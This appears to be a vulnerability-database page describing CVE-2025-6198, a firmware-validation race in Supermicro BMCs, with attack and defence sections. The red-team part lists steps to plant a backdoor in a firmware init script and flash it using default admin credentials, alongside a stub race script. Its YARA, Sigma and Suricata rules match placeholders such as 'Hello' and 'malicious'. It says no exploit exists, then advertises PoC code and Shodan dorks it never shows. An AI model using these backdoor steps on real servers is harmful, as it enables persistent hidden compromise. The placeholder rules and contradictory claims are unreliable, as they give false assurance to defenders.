CVE-2025-6198
Executive Summary
CVE-2025-6198 is a high-severity vulnerability (CVSS 7.2) affecting the Supermicro BMC firmware validation logic, specifically on the MBD-X13SEM-F motherboard. An attacker with administrative privileges can bypass firmware integrity checks and flash a specially crafted malicious image, leading to persistent compromise of the Baseboard Management Controller (BMC). This allows an attacker to maintain stealthy, long-term access to the server's management plane, potentially exfiltrating data, deploying ransomware, or pivoting to other systems. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires administrative access to the BMC.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full compromise of BMC data.
- Integrity (I): High (H) – Attacker can modify firmware.
- Availability (A): High (H) – Attacker can render BMC inoperable.
Threat Level: Critical for environments using Supermicro X13 BMCs. The high privileges required reduce the immediate risk, but once an attacker gains BMC admin access, the impact is severe.
Deep Dive & Mechanics
The vulnerability resides in the firmware validation logic of the Supermicro BMC. When a firmware update is initiated, the BMC checks the digital signature and integrity of the update image. However, due to a flaw in the validation routine (CWE-367: Time-of-check Time-of-use), an attacker can bypass these checks.
Attack Flow:
- Gain Access: The attacker first obtains administrative credentials to the BMC (e.g., via default passwords, phishing, or another vulnerability).
- Craft Malicious Image: The attacker creates a modified BMC firmware image that includes a backdoor, rootkit, or other malicious code.
- Exploit Validation Bypass: The attacker sends the malicious image to the BMC. The validation logic checks the image's signature, but due to a race condition or logic error, the attacker can swap the image after validation but before it is written to flash.
- Flash Malicious Firmware: The BMC writes the malicious image to its persistent storage.
- Persist: The malicious firmware survives reboots and factory resets, giving the attacker persistent control.
Impact: Full compromise of the BMC allows an attacker to:
- Monitor and control host system power, sensors, and console.
- Install persistent malware that is invisible to the host OS.
- Exfiltrate data via the BMC's network interface.
- Use the BMC as a pivot point to attack other systems on the management network.
Vulnerable vs. Patched Code
No patched code is available. The vulnerable code is in the BMC firmware update validation routine. A simplified representation:
Vulnerable (Pseudocode):
int validate_firmware_image(image_t *img) {
if (verify_signature(img) == SUCCESS) {
// Vulnerability: TOCTOU - image can be swapped here
flash_firmware(img);
return SUCCESS;
}
return FAILURE;
}
Patched (Expected):
int validate_firmware_image(image_t *img) {
// Copy image to secure memory before validation
image_t *secure_copy = copy_to_secure_memory(img);
if (verify_signature(secure_copy) == SUCCESS) {
flash_firmware(secure_copy);
return SUCCESS;
}
return FAILURE;
}
The patched version would copy the image to a secure, isolated memory region before validation, preventing a TOCTOU attack.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Hardware: Supermicro MBD-X13SEM-F motherboard with BMC.
- Software: Custom BMC firmware image, BMC admin credentials.
- Tools:
curl,python3,binwalk,firmware-mod-kit.
Exploitation Steps:
- Gain BMC Access:
curl -k -u admin:admin https://<BMC_IP>/redfish/v1/ -X GET - Craft Malicious Firmware:
# Extract original firmware binwalk -e original.bin # Modify init script to add backdoor echo "backdoor.sh &" >> extracted/rootfs/etc/init.d/rcS # Rebuild firmware firmware-mod-kit/build-firmware.sh -b extracted -o malicious.bin - Exploit TOCTOU:
import requests import threading import time def send_legitimate(): # Send legitimate image to trigger validation requests.post("https://<BMC_IP>/redfish/v1/UpdateService/Actions/UpdateService.SimpleUpdate", files={"file": open("legitimate.bin", "rb")}, auth=("admin", "admin"), verify=False) def swap_image(): time.sleep(0.1) # Race condition window # Overwrite the image file with malicious one # This is a simplified example; actual exploitation requires precise timing pass t1 = threading.Thread(target=send_legitimate) t2 = threading.Thread(target=swap_image) t1.start() t2.start() t1.join() t2.join() - Verify Persistence:
curl -k -u admin:admin https://<BMC_IP>/redfish/v1/Managers/BMC -X GET
Blue Team
Detection:
- Monitor BMC firmware update logs for anomalies.
- Use network monitoring to detect unusual traffic to/from BMC IPs.
- Implement strict access controls on the management network.
Hunting:
- Check BMC firmware version and compare with known good hashes.
- Look for unexpected processes or network connections from the BMC.
- Use the YARA rule below to scan BMC firmware images.
Mitigation:
- Isolate BMCs on a separate management VLAN.
- Enforce strong, unique passwords for BMC accounts.
- Disable BMC firmware update capabilities if not needed.
Indicators of Compromise (IOCs)
- Network: Unusual outbound connections from BMC IP to unknown destinations.
- File: Modified BMC firmware image with unexpected hash.
- Process: Unknown processes running on BMC (e.g.,
backdoor.sh). - Log: BMC audit logs showing firmware update from unexpected source.
- Registry: Modified BMC configuration files.
Example IOC (YARA):
rule Supermicro_BMC_Backdoor {
meta:
description = "Detects malicious Supermicro BMC firmware"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "backdoor.sh" ascii wide nocase
$s2 = "malicious" ascii wide nocase
condition:
any of them
}
Detection Engineering
YARA Rule
rule CVE_2025_6198_BMC_Firmware {
meta:
description = "Detects firmware images exploiting CVE-2025-6198"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-6198"
strings:
$s1 = "Supermicro" ascii wide nocase
$s2 = "BMC" ascii wide nocase
$s3 = "X13" ascii wide nocase
$s4 = "MBD-X13SEM-F" ascii wide nocase
$s5 = { 48 65 6C 6C 6F } // "Hello" as a placeholder for malicious code
condition:
all of ($s1, $s2, $s3, $s4) and $s5
}
Sigma Rule
title: Supermicro BMC Firmware Update Anomaly
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious firmware update attempts on Supermicro BMC
author: Valters IT
date: 2025-04-10
logsource:
product: supermicro
service: bmc
detection:
selection:
EventID: 1000 # Firmware update event
ImageName: '*malicious*'
condition: selection
falsepositives:
- Legitimate firmware updates
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6198 Supermicro BMC Firmware Update"; flow:to_server; content:"|48 65 6C 6C 6F|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate BMCs: Place all Supermicro BMCs on a separate, firewalled management VLAN.
- Change Default Credentials: Ensure all BMC accounts have strong, unique passwords.
- Disable Unused Services: Disable firmware update capabilities if not required.
- Monitor Logs: Enable and monitor BMC audit logs for unauthorized update attempts.
Long-Term Fix:
- Await an official firmware patch from Supermicro.
- Implement network segmentation and strict access controls.
- Use hardware security modules (HSMs) to verify firmware integrity.
Workaround:
- If firmware updates are necessary, perform them only from a trusted, isolated workstation.
- Verify firmware hashes against known good values before and after update.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.